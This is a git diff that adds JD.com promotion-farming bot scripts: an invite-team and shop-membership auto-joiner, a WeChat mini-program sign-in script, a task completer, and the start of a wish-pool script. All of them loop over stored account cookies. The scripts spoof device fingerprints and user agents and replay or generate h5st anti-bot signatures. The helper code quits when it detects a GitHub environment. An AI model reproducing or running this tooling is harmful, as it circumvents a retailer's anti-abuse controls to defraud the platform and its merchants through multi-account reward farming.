40 + )};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; + } + + function getSimpleActInfoVo() { + return new Promise((resolve) => { + let body = `activityId=${activityId}`; + $.post( + taskPostUrl("/customer/getSimpleActInfoVo", body), + async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`); + console.log( + `${$.name} getSimpleActInfoVo API请求失败,请检查网路重试` + ); + } else { + // if (resp.status == 200) { + // refreshToken(resp); + // } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", + a = t.length, + n = ""; + for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); + return n; + } + + function getCk() { + return new Promise((resolve) => { + let options = { + url: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + headers: { + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " cookie API请求失败,请检查网路重试"); + } else { + if (resp.status == 200) { + refreshToken(resp); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getToken() { + return new Promise((resolve) => { + let body = `adid=7B411CD9-D62C-425B-B083-9AFC49B94228&area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/cjhydz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167541&client=apple&clientVersion=9.4.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=48&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=11&screen=750%2A1334&sign=60bde51b4b7f7ff6e1bc1f473ecf3d41&st=1613720203903&sv=110&uts=0f31TVRjBStG9NoZJdXLGd939Wv4AlsWNAeL1nxafUsZqiV4NLsVElz6AjC4L7tsnZ1loeT2A8Z5/KfI/YoJAUfJzTd8kCedfnLG522ydI0p40oi8hT2p2sNZiIIRYCfjIr7IAL%2BFkLsrWdSiPZP5QLptc8Cy4Od6/cdYidClR0NwPMd58K5J9narz78y9ocGe8uTfyBIoA9aCd/X3Muxw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=9cf90c586c4468e00678545b16176ed2`; + $.post( + taskUrl("?functionId=isvObfuscator", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 2 API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code == 0 && data.token) { + $.Token = data.token; + } else { + console.log("异常2:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function getPin() { + return new Promise((resolve) => { + let body = "userId=" + $.userId + "&token=" + $.Token + "&fromType=APP"; + $.post( + taskPostUrl("/customer/getMyPing", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 3 API请求失败,请检查网路重试"); + } else { + if (resp.status == 200) { + refreshToken(resp); + } + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + $.Pin = data.data.secretPin; + $.AUTH_C_USER = $.Pin; + } else { + console.log("异常3:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function joinShop(openCardLink) { + return new Promise(async (resolve) => { + if (prefix == "cjhydz") { + let channel = openCardLink.match(/channel=(\d+)/)[1]; + let venderId = openCardLink.match(/venderId=(\d+)/)[1]; + let shopId = openCardLink.match(/shopId=(\d+)/)[1]; + const body = { + venderId: venderId, + shopId: shopId, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + channel: channel, + }; + let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent( + JSON.stringify(body) + )}&client=H5&clientVersion=9.2.0&uuid=8888&jsonp=jsonp_${Date.now()}_${String( + Math.random() + ).slice(3, 8)}&h5st=20220614102046318%3B7327310984571307%3Bef79a%3Btk02wa31b1c7718neoZNHBp75rw4pE%2Fw7fXko2SdFCd1vIeWy005pEHdm0lw2CimWpaw3qc9il8r9xVLHp%2Bhzmo%2B4swg%3Bdd9526fc08234276b392435c8623f4a737e07d4503fab90bf2cd98d2a3a778ac%3B3.0%3B1655173246318`; + let referer = `${openCardLink}&returnUrl=${encodeURIComponent( + `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/view/index?activityId=${activityId}&adsource=cjhdc&isOpenCardBack=iocb` + )}`; + await jiaru(url, referer); + resolve(); + } else { + let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent( + JSON.stringify({ + venderId: $.userId, + shopId: $.userId, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + channel: $.channel, + }) + )}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_${Date.now()}_${String( + Math.random() + ).slice(3, 8)}&h5st=20220614102046318%3B7327310984571307%3Bef79a%3Btk02wa31b1c7718neoZNHBp75rw4pE%2Fw7fXko2SdFCd1vIeWy005pEHdm0lw2CimWpaw3qc9il8r9xVLHp%2Bhzmo%2B4swg%3Bdd9526fc08234276b392435c8623f4a737e07d4503fab90bf2cd98d2a3a778ac%3B3.0%3B1655173246318`; + let referer = `https://shopmember.m.jd.com/shopcard/?venderId=${ + $.userId + }&shopId=${$.userId}&channel=${ + $.channel + }&returnUrl=${encodeURIComponent( + "https://lzkjdz-isv.isvjd.com/wxTeam/activity2/${activityId}?activityId=${activityId}c&adsource=cjhdc&isOpenCardBack=iocb" + )}`; + await jiaru(url, referer); + resolve(); + } + }); + } + + function jiaru(url, referer) { + return new Promise((resolve) => { + let options = { + url: url, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: "api.m.jd.com", + Referer: referer, + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x20入会\x20API请求失败,请检查网路重试"); + } else { + $.log(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getActMemberInfo() { + return new Promise((resolve) => { + let options = { + url: `https://lzkjdz-isv.isvjd.com/wxCommonInfo/getActMemberInfo`, + headers: { + cookie: + activityCookie + ";IsvToken=" + $.Token + ";AUTH_C_USER=" + $.Pin, + Connection: `keep-alive`, + "Accept-Encoding": `gzip, deflate, br`, + "Content-Type": `application/x-www-form-urlencoded; charset=UTF-8`, + Origin: `https://lzkj-isv.isvjd.com`, + "User-Agent": $.UA, + "Accept-Language": `zh-cn`, + Host: `lzkjdz-isv.isvjd.com`, + Referer: `https://lzkjdz-isv.isvjd.com/wxTeam/activity2/${activityId}?activityId=${activityId}&adsource=cjhdc&isOpenCardBack=iocb`, + Accept: `application/json, text/javascript, */*; q=0.01`, + }, + body: `venderId=${ + $.userId + }&activityId=${activityId}&pin=${encodeURIComponent($.Pin)}`, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 1 API请求失败,请检查网路重试"); + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + if (data.data.openCard) return; + if (data.data.openCardUrl) { + $.channel = data.data.openCardUrl + .match(/channel=\d+/)[0] + .split("=")[1]; + } else { + console.log("店家不返回开卡地址。活动有问题。。"); + $.end = true; + return; + } + } else { + console.log("异常1:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getUserInfo() { + return new Promise((resolve) => { + let body = `pin=${ + prefix === "cjhydz" + ? encodeURIComponent(encodeURIComponent($.Pin)) + : encodeURIComponent($.Pin) + }`; + $.post( + taskPostUrl("/wxActionCommon/getUserInfo", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x206-1\x20API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + $.attrTouXiang = data.data.yunMidImageUrl + ? data.data.yunMidImageUrl + : "https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg"; + $.nickName = data.data.nickname; + } else { + console.log("异常6-2:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function joinTeam(count = 0x0) { + return new Promise((resolve) => { + let pin = encodeURIComponent($.Pin); + let hisPin = encodeURIComponent(encodeURIComponent($.his)); + if (count == 1) { + pin = encodeURIComponent(encodeURIComponent($.Pin)); + } + let body = `activityId=${activityId}&inviterNick=${encodeURIComponent( + $.hisNickName + )}&inviteeNick=${encodeURIComponent( + $.nickName + )}&inviter=${hisPin}&invitee=${pin}&inviterImg=${encodeURIComponent( + $.hisInviterImg + )}&inviteeImg=${encodeURIComponent($.attrTouXiang)}`; + $.post( + taskPostUrl("/microDz/invite/activity/wx/acceptInvite", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x207\x20API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + message += "【京东账号" + $.index + "】 加入队伍\n"; + $.log("加入队伍成功"); + } else { + if ( + data.errorMessage.indexOf("店铺会员") > -1 && + count != 3 + ) { + await joinShop(); + await joinTeam(3); + } else if (data.errorMessage.indexOf("队伍已经满员") > -1) { + $.maxTeam = true; + } else if ( + data.errorMessage.indexOf("奖品与您擦肩而过") > -1 && + count == 0 + ) { + await joinTeam(1); + } else { + console.log("异常7:" + JSON.stringify(data)); + if (!data.data.rewardPoint) againUserIndex.push($.index); + if (data.errorMessage.includes("奖品发送完毕")) + process.exit(1); + message += + "【京东账号" + + $.index + + "】\x20" + + data.errorMessage + + "\x0a"; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function getOpenCardAllStatuesNew() { + return new Promise((resolve) => { + let options = { + url: `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/getOpenCardAllStatuesNew`, + headers: { + cookie: + activityCookie + ";IsvToken=" + $.Token + ";AUTH_C_USER=" + $.Pin, + Connection: `keep-alive`, + "Accept-Encoding": `gzip, deflate, br`, + "Content-Type": `application/x-www-form-urlencoded; charset=UTF-8`, + "User-Agent": $.UA, + "Accept-Language": `zh-cn`, + Referer: `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/view/index?activityId=${activityId}`, + Accept: `application/json, text/javascript, */*; q=0.01`, + }, + body: `isInvited=1&activityId=${activityId}&pin=${encodeURIComponent( + encodeURIComponent($.Pin) + )}`, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 1 API请求失败,请检查网路重试"); + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.isCanJoin) { + // console.log(data.data) + (data.data.list || []).forEach((v) => { + if (v.openCardLink) { + $.card.push(v.openCardLink); + } + }); + // console.log($.card) + } + } + } + } catch (e) { + // $.card = [ + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000006644&shopId=1000006644&channel=8802', + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000000192&shopId=1000000192&channel=8802', + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000099547&shopId=1000099547&channel=8802' + // ] + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function taskPostUrl(url, body) { + return { + url: "" + activityUrl + url, + body: body, + headers: { + Accept: "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: `${prefix}-isv.isvjcloud.com`, + Origin: `https://${prefix}-isv.isvjcloud.com`, + "Content-Type": "application/x-www-form-urlencoded", + Referer: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + Cookie: + cookie + + activityCookie + + ";IsvToken=" + + $.Token + + ";AUTH_C_USER=" + + $.AUTH_C_USER, + "User-Agent": $.UA, + }, + }; + } + + function taskUrl(url, body) { + return { + url: "https://api.m.jd.com/client.action" + url, + body: body, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + Host: "api.m.jd.com", + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + } + + function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log("京东服务器访问数据为空,请检查自身设备网络情况"); + return false; + } + } + + function accessLog() { + return new Promise(async (resolve) => { + const options = { + url: `https://${prefix}-isv.isvjcloud.com/common/accessLog`, + headers: { + Accept: "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: `${prefix}-isv.isvjcloud.com`, + Origin: `https://${prefix}-isv.isvjcloud.com`, + "Content-Type": "application/x-www-form-urlencoded", + Referer: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + Cookie: + cookie + + activityCookie + + ";IsvToken=" + + $.Token + + ";AUTH_C_USER=" + + $.AUTH_C_USER, + "User-Agent": $.UA, + }, + body: `venderId=1&code=99&pin=${encodeURIComponent( + encodeURIComponent($.Pin) + )}&activityId=${activityId}&pageUrl=https%3A%2F%2F${prefix}-isv.isvjcloud.com%2FmicroDz%2Finvite%2Factivity%2Fwx%2Fview%2Findex%3FactivityId%3D${activityId}&subType=app`, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x20API请求失败,请检查网路重试"); + } else { + // if (resp.status == 200) { + // refreshToken(resp); + // } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function refreshToken(resp) { + // let cookies = resp.headers["set-cookie"]; + let cookies = resp && resp.headers && (resp.headers['set-cookie'] || resp.headers['Set-Cookie'] || '') || ''; + if (cookies) { + activityCookie = cookies + .map((v) => { + return v.split(";")[0]; + }) + .join(";"); + } + } + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } + +// ebe865a541a242d5bdc0c1f912add174 +// 152b6c5ae5b84a88a39a1dec34be2c11 这个还有打水 +// 1dd895c75bda49aeb47481ae404c58da +(async () => { + await openCardActivity( + "", + "https://cjhydz-isv.isvjcloud.com", + "", + 160, + [] + ); + console.log("开卡已完成!"); +})(); + +// module.exports = { joinTeam } \ No newline at end of file diff --git a/jd_wechat_sign.ts b/jd_wechat_sign.ts new file mode 100644 index 0000000..d62cb0b --- /dev/null +++ b/jd_wechat_sign.ts @@ -0,0 +1,43 @@ +/** + * 微信小程序签到红包 + * cron: 8 0 * * * + */ + +import {sendNotify} from './sendNotify' +import {post, requireConfig, wait} from './TS_USER_AGENTS' +import {H5ST} from "./utils/h5st" + +let cookie: string = '', res: any = '', UserName: string, msg: string = '', h5stTool: H5ST = new H5ST("9a38a", 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', "6468223550974529"); + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + await h5stTool.__genAlgo() + let timestamp: number = Date.now() + let h5st: string = h5stTool.__genH5st({ + appid: 'hot_channel', + body: JSON.stringify({"activityId": "10002"}), + client: 'android', + clientVersion: '7.16.250', + functionId: 'SignComponent_doSignTask', + t: timestamp.toString(), + }) + res = await post(`https://api.m.jd.com/signTask/doSignTask?functionId=SignComponent_doSignTask&appid=hot_channel&body={"activityId":"10002"}&client=android&clientVersion=7.16.250&t=${timestamp}&h5st=${h5st}`, '', { + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', + 'referer': 'https://servicewechat.com/wx91d27dbf599dff74/581/page-frame.html', + 'cookie': cookie + }) + if (res.data) { + console.log('已签到', res.data.signDays, '天,奖励', res.data.rewardValue, '元') + msg += `【京东账号${index + 1}】 ${UserName}\n已签到 ${res.data.signDays}天\n奖励 ${res.data.rewardValue}元\n\n` + } else + console.log(res.message) + await wait(3000) + } + await sendNotify('微信小程序签到红包', msg) +})() \ No newline at end of file diff --git a/jd_wechat_zz.ts b/jd_wechat_zz.ts new file mode 100644 index 0000000..f28855d --- /dev/null +++ b/jd_wechat_zz.ts @@ -0,0 +1,32 @@ +/** + * 赚赚 + * cron: 30 9 * * * + */ + +import {requireConfig, wait, get, randomNumString} from './TS_USER_AGENTS' + +let cookie: string = '', UserName: string = '', res: any = '' + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let headers: object = {'Host': 'api.m.jd.com', 'wqreferer': 'http://wq.jd.com/wxapp/pages/hd-interaction/task/index', 'User-Agent': 'MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', 'Referer': 'https://servicewechat.com/wx8830763b00c18ac3/115/page-frame.html', 'Content-Type': 'application/json', 'Cookie': cookie} + + res = await get(`https://api.m.jd.com/client.action?functionId=interactTaskIndex&body=%7B%22mpVersion%22%3A%223.4.0%22%7D&appid=wh5&loginWQBiz=interact&g_ty=ls&g_tk=${randomNumString(9)}`, headers) + console.log(res.data.cashExpected) + + for (let t of res.data.taskDetailResList) { + if (t.times === 0) { + console.log(t.taskName) + let taskItem: object = {...t, "fullTaskName": `${t.taskName} (0/1)`, "btnText": "去完成"} + res = await get(`https://api.m.jd.com/client.action?functionId=doInteractTask&body=${encodeURIComponent(JSON.stringify({"taskId": t.taskId, "taskItem": taskItem, "actionType": 0, "taskToken": t.taskToken, "mpVersion": "3.4.0"}))}&appid=wh5&loginWQBiz=interact&g_ty=ls&g_tk=${randomNumString(9)}`, headers) + console.log(res.message) + await wait(2000) + } + } + await wait(2000) + } +})() \ No newline at end of file diff --git a/jd_wish.js b/jd_wish.js new file mode 100644 index 0000000..83f953e --- /dev/null +++ b/jd_wish.js @@ -0,0 +1,433 @@ +/* +众筹许愿池 +活动入口:京东-京东众筹-众筹许愿池 +40 0,2 * * * jd_wish.js +*/ +const $ = new Env('众筹许愿池'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let message = '', allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let appIdArr = ['1FFVQyqw','1EFRWxKuG', '1E1xZy6s']; +let appNameArr = ['1111点心动','许愿抽好礼', 'PLUS生活特权']; +let appId, appName; +$.shareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + 